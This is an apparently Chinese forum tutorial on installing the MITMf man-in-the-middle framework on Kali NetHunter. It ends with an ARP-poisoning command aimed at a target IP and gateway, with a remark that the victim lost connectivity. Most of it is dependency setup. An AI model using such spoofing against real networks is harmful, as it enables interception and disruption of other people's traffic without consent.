MITMf是Nethunter中的一个集合攻击框架,集合了一些实用的中间人工具,可以通过MITMf来一键式地去执行它们,总之就是玩中间人的神器 既然是集合的工具,那依赖肯定是巨多的,所以想要使用它非常麻烦 其次,MITMf在Nethunter上的安装教程,网络上根本没有,油管上有几个,还是在kali上安装的,所以,这肯定是首发[滑稽]
好了,废话不多说了,我们直奔主题吧! 首先,先打开一个kali终端
然后,我们输入以下代码来安装’安装依赖’的工具 :
- wget https://pypi.python.org/packages/source/s/setuptools/setuptools-18.5.tar.gz && tar -zxvf setuptools-18.5.tar.gz && cd setuptools-18.5 && python setup.py build && python setup.py install
1 // 安装setuptool
- wget https://pypi.python.org/packages/source/p/pip/pip-20.3.1.tar.gz && tar -zxvf pip-20.3.1.tar.gz && cd pip-20.3.1 && python setup.py install
1 //安装pip
接着,我们输入以下代码来安装部分依赖 :
- sudo apt install python2-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone4 libcapstone-dev libffi-dev file
-
接着,我们输入以下代码来安装virtualenvwrapper :
- sudo pip install virtualenvwrapper
-
1
之后,用文件管理器打开Chroot下的/root/.zshrc文件的最后一行添加上
- VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3.9
- source /usr/local/bin/virtualenvwrapper.sh
-
2 如图 :
添加完之后,再在终端中执行一下
- source /home/username/.zshrc
-
1 最后,再执行以下代码来为MITMf创建一个环境 :
- mkvirtualenv MITMf -p /usr/bin/python2.7
-
1
做完以上步骤后,恭喜你已经完成配置环境的步骤了! 下面,是安装工具的教程 首先,执行以下代码将MITMf的源码克隆到本地 :
- git clone https://github.com/byt3bl33d3r/MITMf
-
1
然后,我们执行下面一串代码 :
- cd MITMf && git submodule init && git submodule update –recursive
-
1
最后,我们安装一下最后的依赖即可完成安装 :
- pip install -r requirements.txt
-
1
效果如下 :
可以看到,运行起来后它会提示python2已经不支持此模块了,这个问题我也解决了,在这里将方法给大家 : 1.输入代码来卸载掉高版本的模块 :
- pip uninstall cryptography
-
1 2.安装2.6版本的模块 :
- pip install cryptography==2.6
-
1 解决后再次运行,可以发现问题已经得到了解决了
OK了,已经成功完成安装了,下面,我将教大家怎么去«合~理»利用它们 1.ARP毒化
- python mitmf.py -i wlan0 –spoof –arp –target 192.168.5.109 –gateway 192.168.5.1
因为没开流量转发,所以目标机直接没网了 更多玩法可以–help去自己摸索下,比我讲的好理解多了 (关于Nethunter的更多玩法,我将会在以后慢慢更新的)
|
没有回复内容